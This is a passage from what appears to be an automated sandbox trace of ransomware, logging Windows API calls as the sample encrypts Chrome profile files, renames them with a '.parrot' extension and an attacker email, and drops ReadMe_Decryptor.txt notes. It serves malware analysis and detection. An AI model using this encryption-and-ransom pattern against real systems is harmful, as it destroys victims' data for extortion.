data\\crashpad\\settings.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0039.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2d08 | out: hHeap=0x5b0000) returned 1 [0039.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0039.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0039.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x60cea0 [0039.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0039.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0039.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0039.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0039.812] GetFileType (hFile=0x274) returned 0x1 [0039.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0039.824] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0039.824] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0039.824] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa88b9180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETTIN~1.PAR")) returned 1 [0039.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0039.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0039.824] lstrcmpW (lpString1="settings.dat.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0039.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x60c798 [0039.824] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa88b9180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETTIN~1.PAR")) returned 0 [0040.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cea0 | out: hHeap=0x5b0000) returned 1 [0040.362] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0040.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0040.362] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0040.362] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0040.362] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0040.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d1908 [0040.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x60cea0 [0040.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0040.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0040.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x60cdc0 [0040.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2b80 [0040.363] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0040.367] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.367] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.368] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.368] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.368] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0040.368] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0040.368] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0040.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2d98 [0040.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x5d1908 [0040.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2d98 | out: hHeap=0x5b0000) returned 1 [0040.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0040.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2b80 [0040.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2c38 [0040.368] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0040.369] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.369] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.369] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.369] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.369] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1 [0040.369] lstrcmpW (lpString1="data_0", lpString2="ReadMe_Decryptor.txt") returned -1 [0040.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0040.370] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0xb000 [0040.370] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb118, nNumberOfBytesToLockHigh=0x0) returned 1 [0040.370] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0040.370] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0040.371] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.371] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xb000, lpOverlapped=0x0) returned 1 [0040.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0040.372] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0040.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0040.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0040.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0040.372] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0040.372] GetLastError () returned 0x0 [0040.376] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0040.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0040.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d3658 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d3738 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cabe0 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3738 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d3658 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d4d18 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d5360 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5360 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0040.377] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0040.377] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x669238 [0040.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0040.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x66c1d0 [0040.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669238 | out: hHeap=0x5b0000) returned 1 [0040.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2240060 [0040.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66c1d0 | out: hHeap=0x5b0000) returned 1 [0040.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6812b8 [0040.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0040.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x68b2e8 [0040.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6812b8 | out: hHeap=0x5b0000) returned 1 [0040.379] WriteFile (in: hFile=0x278, lpBuffer=0x68b300*, nNumberOfBytesToWrite=0xb128, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x68b300*, lpNumberOfBytesWritten=0x18e604*=0xb128, lpOverlapped=0x0) returned 1 [0040.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b2e8 | out: hHeap=0x5b0000) returned 1 [0040.380] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0040.380] CloseHandle (hObject=0x278) returned 1 [0040.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d33c8 [0040.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5d3658 [0040.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0040.381] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0040.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0040.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d34d0 | out: hHeap=0x5b0000) returned 1 [0040.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x671278 | out: hHeap=0x5b0000) returned 1 [0040.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d33c8 [0040.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0040.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0040.384] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0040.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0040.395] GetFileType (hFile=0x278) returned 0x1 [0040.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0040.689] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42118, nNumberOfBytesToLockHigh=0x0) returned 1 [0040.690] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0040.863] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0040.864] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.864] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x42000, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x42000, lpOverlapped=0x0) returned 1 [0041.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0041.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0041.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0041.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0041.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0041.092] GetLastError () returned 0x0 [0041.198] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0041.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0041.198] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d3658 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d3738 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cabe0 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3738 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d3658 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0041.199] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0041.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3658 | out: hHeap=0x5b0000) returned 1 